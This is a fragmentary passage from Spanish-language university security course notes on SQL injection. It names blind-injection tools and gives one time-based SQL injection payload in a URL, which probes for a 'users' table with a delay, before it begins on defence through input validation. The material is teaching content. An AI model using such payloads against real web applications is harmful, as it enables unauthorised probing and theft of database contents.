¿Se obtiene otra página? Sí: Es vulnerable (false).

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Data Thief o Absinthe (MS SQL Server).

SQLI basada en tiempo. En la siguiente consulta, en el caso de existir la tabla

http://servidor/prueba?id=1; if (exists(select * from users)) waitfor delay '0:0:10'-

Defensa SQLI. Para defensa ante SQLI ha de efectuarse validación de entrada y

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Se pueden usar solo las interfases y construir su propia implementación usando la

Los atacantes intentan realizar ingeniera inversa y extraer información de las